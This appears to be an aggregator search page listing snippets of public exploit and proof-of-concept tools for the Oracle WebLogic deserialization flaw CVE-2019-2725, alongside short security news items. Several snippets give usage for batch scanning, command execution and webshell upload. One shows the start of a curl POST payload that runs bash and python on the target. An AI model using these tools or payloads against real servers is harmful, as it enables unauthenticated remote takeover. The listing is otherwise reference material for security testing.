37 matches found
Weblogic
weblogic CVE-2019-2725 CVE-2019-2729 POC Ejecutar comando y mostrar salida uso: objetivo único python3 weblogicgetwebshell.py http://url objetivo por lotes, colocar las URL del lote en urllist.txt python3 weblogicgetwebshell.py all...
weblogic_2019_2725_wls_batch
weblogic20192725wlsbatch Exp de la vulnerabilidad weblogic CVE-2019-2725, dirigido a la vulnerabilidad del componente wls-wsat, utilizando tres exp para detección por lotes. En ese momento no pensé demasiado, solo verificar si la vulnerabilidad existía, así que la función del script es generar el...
CVE-2019-2725
CVE-2019-2725...
CVE-2019-2725
CVE-2019-2725 bypass consejos programado en python3,payload aquí ese payload solo funciona en jdk6 exp uso: usage:exp.py 127.0.0.1:8080 whoami poc después de editar ip.txt, el programa comprobará las IP en ip.txt, probando si la vulnerabilidad existe o no :...
CVE-2019-2725
Este repositorio no tiene un README...
Oracle-WLS-Weblogic-RCE
Oracle-WLS-Weblogic-RCE CVE-2019-2725 Script de prueba RCE de Oracle WLSWeblogic RCE CVE-2019-2725 es una vulnerabilidad de deserialización en Oracle WebLogic Server. Esta vulnerabilidad de ejecución remota de código es explotable de forma remota sin autenticación. Este script que verifica la...
Exploit-CVE-2019-2725
Exploit-CVE-2019-2725 Un exploit simple para CVE-2019-2725. Código de ejemplo: root@kitploit: curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import...
CNTA-2019-0014xCVE-2019-2725
CNTA-2019-0014-CVE-2019-2725 Descargo de responsabilidad: esta herramienta es solo para fines de aprendizaje y pruebas de seguridad, prohibido su uso ilegal root@kitploit: Usage:python3 weblogicrce.py url command is echo? win or linux Para análisis detallado, visite: https://icematcha.win/?p=1174...
CVE-2019-2725-POC
CVE-2019-2725-POC CVE-2019-2725-POC Modifica la dirección del caballo grande en el txt por tu propia dirección de caballo grande, utiliza burpsuite para enviar una solicitud POST al servidor de destino, el contenido del paquete de solicitud es el contenido del txt...
cve-2019-2725
Ejecutar con python3 1. Coloque el objetivo de detección en el archivo ip.txt, formato:192.168.1.18:7001 2. Ejecute el script directamente, los resultados con vulnerabilidades se guardan en el archivo ok.txt...
CVE-2019-2725
Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware subcomponent: Web Services. Supported versions that are affected are 10.3.6.0.0 and 12.1.3.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle...
Exploit for Missing Authentication for Critical Function in Oracle Weblogic_Server
CNVD-C-2019-48814 WebLogic wls9-async反序列化远程命令执行漏洞 回显poc for weblogic Patch update: https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html 漏洞复现： http://10.10.20.166:7001/async/AsyncResponseService curl -i http://10.10.20.166:7001/async/favicon.ico CNVD-C-2019-48814...
Microsoft Warns of Cryptomining Malware Campaign Targeting Linux Servers
A cloud threat actor group tracked as 8220 has updated its malware toolset to breach Linux servers with the goal of installing crypto miners as part of a long-running campaign. "The updates include the deployment of new versions of a crypto miner and an IRC bot," Microsoft Security Intelligence...
Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical Infrastructure
Summary Actions Critical Infrastructure Organizations Should Implement to Immediately Strengthen Their Cyber Posture. • Patch all systems. Prioritize patching known exploited vulnerabilities. • Implement multi-factor authentication. • Use antivirus software. • Develop internal contact lists and...
Top 12 Security Flaws Russian Spy Hackers Are Exploiting in the Wild
Cyber operatives affiliated with the Russian Foreign Intelligence Service SVR have switched up their tactics in response to previous public disclosures of their attack methods, according to a new advisory jointly published by intelligence agencies from the U.K. and U.S. Friday. "SVR cyber operato...
Exploit for Injection in Oracle Agile_Plm
Oracle-WLS-Weblogic-RCE CVE-2019-2725 Oracle WLSWeblogic R...
Exploit for Injection in Oracle Agile_Plm
CVE-2019-2725 CVE-2019-2725CNVD-C-2019-48814、WebLogic wls9-async 命令回显 10.3.6 12.1.3 ResultBaseExec.java 用于测试defineClass，将把恶意类从base64还原出来，执行代码，主要是比较方便（可用可不用）。 JDK7u21.java 会生成weblogic-2019-272512.1.3命令执行.txt中的xml，请使用jdk6编译。 CVE-2019-2725.py 检测命令是否会执行。...
Exploit for Injection in Oracle Agile_Plm
CVE-2019-2725-POC CVE-2019-2725-POC Modif...
myblog.boscolo.it Improper Access Control vulnerability
Open Bug Bounty ID: OBB-993038 Security Researcher 0xrocky Helped patch 1796 vulnerabilities Received 7 Coordinated Disclosure badges Received 5 recommendations , a holder of 7 badges for responsible and coordinated disclosure, found a security vulnerability affecting myblog.boscolo.it website an...